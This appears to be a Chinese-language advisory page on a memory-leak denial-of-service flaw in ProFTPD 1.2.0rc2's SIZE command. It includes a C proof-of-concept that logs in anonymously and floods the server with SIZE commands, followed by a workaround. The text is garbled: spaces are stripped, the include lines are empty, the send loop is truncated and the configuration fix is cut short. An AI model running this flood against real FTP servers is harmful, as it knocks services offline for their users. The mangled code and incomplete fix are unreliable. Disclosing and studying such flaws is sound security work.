Proftpd 记忆体泄漏拒绝服务攻击漏洞

描述:
--------------------------------------------------------------------------------


Proftpd是一个流行的Ftp服务软体。它在执行SIZE命令时存在一个记忆体泄漏的
问题,攻击者可以利用此问题进行拒绝服务攻击。

如果执行5000条SIZE命令,将导致系统用300KB记忆体。如果执行大量的SIZE
命令,将使记忆体耗尽,导致拒绝服务攻击。攻击者只需要匿名访问权限即可
进行这种攻击。

<*来源:WojciechPurczynski([email protected])
PiotrZurawski[fb]([email protected])
*>



测试程序:
--------------------------------------------------------------------------------

警告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!



/*ProftpdDoS
*byPiotrZurawski([email protected])
*Thissourceisjustanexampleofmemoryleakageinproftpd-1.2.0(rc2)
*serverdiscoveredbyWojciechPurczynski.
*/

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#defineUSERNAME"anonymous"
#definePASSWORD"[email protected]"
#defineHOWMANY10000

voidlogintoftp();
voidsendsizes();
intfd;
structin_addrhost;
unsignedshortport=21;
inttcp_connect(structin_addraddr,unsignedshortport);

intmain(intargc,char**argv)
{

if(!resolve(argv[1],&host))
{
fprintf(stderr,"Hostnamelookupfailure\
");
exit(0);
}

fd=tcp_connect(host,port);


logintoftp(fd);

printf("Logged\
");

sendsizes(fd);

printf("Nowcheckoutmemoryusageofproftpddaemon");
printf("Residentsetsize(RSS)andvirtualmemorysize(VSIZE)");
printf("fieldsinpsoutput");
}

voidlogintoftp()
{

charsnd[1024],rcv[1024];
intn;

printf("Logging"USERNAME"/"PASSWORD"\r\
");

memset(snd,'\0',1024);
sprintf(snd,"USER%s\r\
",USERNAME);
write(fd,snd,strlen(snd));

while((n=read(fd,rcv,sizeof(rcv)))>0)
{
rcv[n]=0;
if(strchr(rcv,'\
')!=NULL)break;
}

memset(snd,'\0',1024);
sprintf(snd,"PASS%s\r\
",PASSWORD);
write(fd,snd,strlen(snd));

while((n=read(fd,rcv,sizeof(rcv)))>0)
{
rcv[n]=0;
if(strchr(rcv,'\
')!=NULL)
break;
}
return;
}

voidsendsizes()
{
charsnd[1024],rcv[1024];
unsignedlongloop;

printf("Sending%isizecommands...\
",HOWMANY);

for(loop=0;loop{
sprintf(snd,"SIZE/dadasjasojdasj/adhjaodhahasohasaoihroaha");
write(fd,snd,strlen(snd));
}

return;
}

inttcp_connect(structin_addraddr,unsignedshortport)
{
intfd;

structsockaddr_inserv;
bzero(&serv,sizeof(serv));serv.sin_addr=addr;
serv.sin_port=htons(port);
serv.sin_family=AF_INET;

if((fd=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0)\
{
perror("socket");
exit(0);
}

if(connect(fd,(structsockaddr*)&serv,sizeof(serv))<0)
{
perror("connect");
exit(0);
}

return(fd);
}

intresolve(char*hostname,structin_addr*addr)
{
structhostent*res;
res=gethostbyname(hostname);
if(res==NULL)
return(0);
memcpy((char*)addr,res->h_addr,res->h_length);
return(1);
}


--------------------------------------------------------------------------------
建议:

临时解决方法:

DmitryAlyabyev提供了一个临时解决
方法,限制SIZE命令的使用,在配置文件中增加下列语句:


DenyAll

你可能感兴趣的:(socket)